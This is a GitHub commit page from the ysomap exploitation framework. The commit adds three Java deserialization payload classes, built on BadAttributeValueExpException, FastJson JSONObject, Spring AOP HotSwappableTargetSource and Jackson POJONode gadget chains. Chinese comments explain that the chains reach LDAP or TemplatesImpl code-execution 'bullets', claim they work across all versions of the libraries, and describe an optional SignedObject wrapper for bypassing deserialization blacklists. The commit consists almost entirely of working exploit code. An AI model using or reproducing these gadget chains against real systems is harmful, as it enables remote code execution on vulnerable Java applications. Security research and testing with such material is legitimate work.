-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
update from @whocansee --------- Co-authored-by: [email protected] <[email protected]> Co-authored-by: wh1t3P1g <[email protected]>
- Loading branch information
1 parent
9c3353e
commit 7fc092b
Showing
11 changed files
with
678 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
73 changes: 73 additions & 0 deletions
73
.../main/java/ysomap/payloads/java/fastjson/BadAttributeValueExpExceptionWithJsonObject.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
package ysomap.payloads.java.fastjson; | ||
|
||
import com.alibaba.fastjson.JSONObject; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.bullets.jdk.LdapAttributeBullet; | ||
import ysomap.common.annotation.*; | ||
import ysomap.core.util.DetailHelper; | ||
import ysomap.core.util.PayloadHelper; | ||
import ysomap.payloads.AbstractPayload; | ||
|
||
import javax.management.BadAttributeValueExpException; | ||
import java.io.Serializable; | ||
import java.lang.reflect.Field; | ||
import java.security.KeyPair; | ||
import java.security.KeyPairGenerator; | ||
import java.security.Signature; | ||
import java.security.SignedObject; | ||
import java.util.HashMap; | ||
import java.util.Objects; | ||
|
||
/** | ||
* @author whocansee | ||
* @since 2023/10/7 | ||
* BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法 | ||
* 原链JsonObject1缺失触发toString的部分,且仅支持FastJson低版本 | ||
* 此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本 | ||
* 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet | ||
*/ | ||
@Payloads | ||
@SuppressWarnings({"rawtypes"}) | ||
@Authors({ Authors.whocansee }) | ||
@Targets({Targets.JDK}) | ||
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false) | ||
@Dependencies({"FastJson all versions."}) | ||
@Details("BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法" + | ||
"此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本") | ||
|
||
public class BadAttributeValueExpExceptionWithJsonObject extends AbstractPayload<Object> { | ||
|
||
@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + | ||
"默认不使用,填true表示启用") | ||
private Boolean wrapped = false; | ||
|
||
@Override | ||
public Bullet getDefaultBullet(Object... args) throws Exception { | ||
return LdapAttributeBullet.newInstance(args); | ||
} | ||
|
||
@Override | ||
public Object pack(Object obj) throws Exception { | ||
Object obj1 = getterGadget(obj); | ||
if (wrapped) { | ||
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); | ||
kpg.initialize(1024); | ||
KeyPair kp = kpg.generateKeyPair(); | ||
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); | ||
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); | ||
} else { | ||
return PayloadHelper.makeReadObjectToStringTrigger(obj1); | ||
} | ||
} | ||
public static Object getterGadget(Object obj) throws Exception { | ||
JSONObject jsonObject = new JSONObject(); | ||
jsonObject.put("gg", obj); | ||
BadAttributeValueExpException poc = new BadAttributeValueExpException(null); | ||
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); | ||
val.setAccessible(true); | ||
val.set(poc, jsonObject); | ||
HashMap hashMap = new HashMap(); | ||
hashMap.put(obj, poc); | ||
return hashMap; | ||
} | ||
} |
82 changes: 82 additions & 0 deletions
82
core/src/main/java/ysomap/payloads/java/fastjson/SpringAOPXStringWithJsonObject.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
package ysomap.payloads.java.fastjson; | ||
|
||
import com.alibaba.fastjson.JSONObject; | ||
import com.sun.org.apache.xpath.internal.objects.XString; | ||
import org.springframework.aop.target.HotSwappableTargetSource; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.bullets.jdk.LdapAttributeBullet; | ||
import ysomap.common.annotation.*; | ||
import ysomap.core.util.PayloadHelper; | ||
import ysomap.payloads.AbstractPayload; | ||
|
||
import javax.management.BadAttributeValueExpException; | ||
import java.io.Serializable; | ||
import java.lang.reflect.Field; | ||
import java.security.KeyPair; | ||
import java.security.KeyPairGenerator; | ||
import java.security.Signature; | ||
import java.security.SignedObject; | ||
import java.util.HashMap; | ||
import java.util.Objects; | ||
|
||
/** | ||
* @author whocansee | ||
* @since 2023/10/7 | ||
* 基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化) | ||
* 需要目标具有Spring环境 | ||
* 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet | ||
*/ | ||
@Payloads | ||
@SuppressWarnings({"rawtypes"}) | ||
@Authors({ Authors.whocansee }) | ||
@Targets({Targets.JDK}) | ||
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false) | ||
@Dependencies({"fastjson all versions & SpringAOP"}) | ||
@Details("基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化)") | ||
public class SpringAOPXStringWithJsonObject extends AbstractPayload<Object> { | ||
@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + | ||
"默认不使用,填true表示启用") | ||
private Boolean wrapped = false; | ||
|
||
@Override | ||
public Bullet getDefaultBullet(Object... args) throws Exception { | ||
return LdapAttributeBullet.newInstance(args); | ||
} | ||
|
||
@Override | ||
public Object pack(Object obj) throws Exception { | ||
Object obj1 = getterGadget(obj); | ||
if (wrapped) { | ||
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); | ||
kpg.initialize(1024); | ||
KeyPair kp = kpg.generateKeyPair(); | ||
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); | ||
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); | ||
} else { | ||
return PayloadHelper.makeReadObjectToStringTrigger(obj1); | ||
} | ||
} | ||
public static void setValue(Object obj,String field,Object value) throws Exception{ | ||
Field f = obj.getClass().getDeclaredField(field); | ||
f.setAccessible(true); | ||
f.set(obj,value); | ||
} | ||
public static Object getterGadget(Object obj) throws Exception { | ||
JSONObject jsonObject = new JSONObject(); | ||
jsonObject.put("g","m"); | ||
JSONObject jsonObject1 = new JSONObject(); | ||
jsonObject1.put("g",obj); | ||
|
||
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject); | ||
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x")); | ||
|
||
HashMap<Object,Object> hashMap = new HashMap<>(); | ||
hashMap.put(v1,v1); | ||
hashMap.put(v2,v2); | ||
setValue(v1,"target",jsonObject1); | ||
|
||
HashMap<Object,Object> hhhhashMap = new HashMap<>(); | ||
hhhhashMap.put(obj,hashMap); | ||
return hhhhashMap; | ||
} | ||
} |
77 changes: 77 additions & 0 deletions
77
.../src/main/java/ysomap/payloads/java/jackson/BadAttributeValueExpExceptionWithJackson.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,77 @@ | ||
package ysomap.payloads.java.jackson; | ||
|
||
import com.fasterxml.jackson.databind.node.POJONode; | ||
import javassist.ClassPool; | ||
import javassist.CtClass; | ||
import javassist.CtMethod; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.bullets.jdk.LdapAttributeBullet; | ||
import ysomap.common.annotation.*; | ||
import ysomap.core.util.PayloadHelper; | ||
import ysomap.payloads.AbstractPayload; | ||
import javax.management.BadAttributeValueExpException; | ||
import java.io.Serializable; | ||
import java.lang.reflect.Field; | ||
import java.security.KeyPair; | ||
import java.security.KeyPairGenerator; | ||
import java.security.Signature; | ||
import java.security.SignedObject; | ||
import java.util.Objects; | ||
|
||
|
||
/** | ||
* @author whocansee | ||
* @since 2023/10/7 | ||
* BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法 | ||
* 由于Jackson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet | ||
* 由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可 | ||
*/ | ||
@Payloads | ||
@SuppressWarnings({"rawtypes"}) | ||
@Authors({ Authors.whocansee }) | ||
@Targets({Targets.JDK}) | ||
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false) | ||
@Dependencies({"Jackson all versions."}) | ||
@Details("BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法,"+ | ||
"由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可") | ||
|
||
public class BadAttributeValueExpExceptionWithJackson extends AbstractPayload<Object> { | ||
|
||
@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + | ||
"默认不使用,填true表示启用") | ||
private Boolean wrapped = false; | ||
public static int javaassistFlag = 0; | ||
@Override | ||
public Bullet getDefaultBullet(Object... args) throws Exception { | ||
return LdapAttributeBullet.newInstance(args); | ||
} | ||
|
||
@Override | ||
public Object pack(Object obj) throws Exception { | ||
if (javaassistFlag == 0){ | ||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); | ||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); | ||
ctClass.removeMethod(writeReplace); | ||
ctClass.toClass(); | ||
javaassistFlag = 1; | ||
} | ||
Object obj1 = getterGadget(obj); | ||
if (wrapped) { | ||
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); | ||
kpg.initialize(1024); | ||
KeyPair kp = kpg.generateKeyPair(); | ||
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); | ||
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); | ||
} else { | ||
return PayloadHelper.makeReadObjectToStringTrigger(obj1); | ||
} | ||
} | ||
public static Object getterGadget(Object obj) throws Exception { | ||
POJONode node = new POJONode(obj); | ||
BadAttributeValueExpException val = new BadAttributeValueExpException(null); | ||
Field valfield = val.getClass().getDeclaredField("val"); | ||
valfield.setAccessible(true); | ||
valfield.set(val, node); | ||
return val; | ||
} | ||
} |
Oops, something went wrong.